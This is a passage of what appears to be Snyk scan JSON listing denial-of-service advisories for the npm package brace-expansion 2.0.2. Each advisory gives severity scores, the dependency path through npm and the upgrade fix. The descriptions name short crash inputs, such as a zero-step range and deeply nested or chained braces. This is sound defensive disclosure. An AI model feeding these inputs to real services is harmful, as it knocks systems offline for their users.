"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
